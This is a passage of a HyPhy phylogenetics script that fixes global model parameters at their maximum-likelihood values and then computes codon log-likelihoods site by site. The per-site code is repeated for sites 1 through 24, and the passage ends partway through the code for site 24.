fprintf("hyphy_output.txt", "Log likelihood: ", mlestimates[1][0], "\nindependent parameters (includes branch lengths): ", mlestimates[1][1], "\nshared parameters: ", mlestimates[1][2], "\nnumber of branch lengths: ", TipCount(tree) + BranchCount(tree), "\nnumber of tip nodes: ", TipCount(tree), "\nnumber of internal branches: ", BranchCount(tree), "\n",likelihood);
fprintf(stdout, "\nNow computing per-site likelihoods.\n");
fprintf(stdout, "\nFirst fixing all global variables to the maximum-likelihood values estimated on the entire tree.\n");
GetString(associativearray, likelihood, -1);
globalindependentvariables = associativearray["Global Independent"];
for (ivariable=0; ivariable<Columns(globalindependentvariables); ivariable=ivariable+1) {
variable = globalindependentvariables[ivariable];
cmdstring = variable + " := " + Format(variable, 0, 30) + ";";
fprintf(stdout, "\nFixing variable as follows: ", cmdstring, "\n");
ExecuteCommands(cmdstring);
}
persitelikelihoods = "sitelikelihoods.txt";
fprintf(stdout, "\nNow computing per-site likelihoods and writing to ", persitelikelihoods, "...\n");
fprintf(persitelikelihoods, "#SITE\tSITE_LOG_LIKELIHOODS\n");
fprintf(stdout, "\nComputing likelihood for site 1...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "0,1,2", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 1");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "1\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 2...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "3,4,5", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 2");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "2\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 3...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "6,7,8", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 3");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "3\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 4...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "9,10,11", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 4");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "4\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 5...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "12,13,14", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 5");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "5\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 6...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "15,16,17", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 6");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "6\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 7...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "18,19,20", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 7");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "7\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 8...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "21,22,23", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 8");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "8\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 9...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "24,25,26", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 9");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "9\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 10...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "27,28,29", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 10");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "10\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 11...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "30,31,32", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 11");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "11\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 12...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "33,34,35", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 12");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "12\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 13...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "36,37,38", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 13");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "13\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 14...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "39,40,41", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 14");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "14\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 15...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "42,43,44", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 15");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "15\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 16...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "45,46,47", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 16");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "16\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 17...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "48,49,50", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 17");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "17\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 18...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "51,52,53", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 18");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "18\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 19...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "54,55,56", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 19");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "19\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 20...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "57,58,59", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 20");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "20\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 21...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "60,61,62", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 21");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "21\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 22...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "63,64,65", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 22");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "22\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 23...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "66,67,68", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 23");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "23\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 24...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "69,70,71", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 24");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
